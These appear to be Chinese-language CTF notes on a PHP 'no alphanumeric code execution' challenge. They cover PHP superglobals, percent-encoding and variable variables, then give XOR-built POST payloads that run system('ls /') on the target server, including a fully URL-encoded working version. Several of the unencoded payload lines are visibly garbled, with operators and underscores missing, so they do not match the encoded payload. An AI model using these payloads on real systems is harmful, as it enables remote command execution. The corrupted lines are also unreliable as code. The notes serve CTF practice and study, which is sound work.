无字母数字代码执行 100

$_GET 请求行里的查询串（?a=...&b=...）
$_POST 请求体（表单编码）
$_COOKIE Cookie: 请求头
$_SERVER 请求头（如 User-Agent）+ 服务器环境变量
$_FILES 请求体里的上传文件部分
$_REQUEST $_GET+$_POST+$_COOKIE 的合并（优先级由 php.ini 的 request_order 决定）

网页输入后抓包后被编码
编码机制：百分号编码
规则就一条：把字符换成 % + 它的 ASCII 码两位十六进制。逐个解你贴的这段：
%24 = 0x24 = $ %5F = 0x5F = _ %3D = 0x3D = =
%28 = ( %27 = ' %7E = ~
%5E = ^ %21 = ! %29 = )
%2C = , %7C = | %2F = /
%60 = ` %7B = { %3B = ;
%5B = [ %5D = ] %40 = @ %3C = <

php
$name = "hello";
$$name = 123; // 等价于 $hello = 123
echo $hello; // 123

改POST的方法 要加上表单Content-Type: application/x-www-form-urlencoded
code=$POST'a';&a=system&b=ls/
code=$=('~'^'!').(',''|').('/'^'`').('(''{').('{'^'/');($$)'!'^'@';&a=system&b=ls /
code=%24%3D%28%27%7E%27%5E%27%21%27%29.%28%27%2C%27%5E%27%7C%27%29.%28%27%2F%27%5E%27%60%27%29.%28%27%28%27%5E%27%7B%27%29.%28%27%7B%27%5E%27%2F%27%29%3B%28%24%24_%29%5B%27%21%27%5E%27%40%27%5D%28%28%24%24_%29%5B%27%3C%27%5E%27%5E%27%5D%29%3B&a=system&b=ls%20/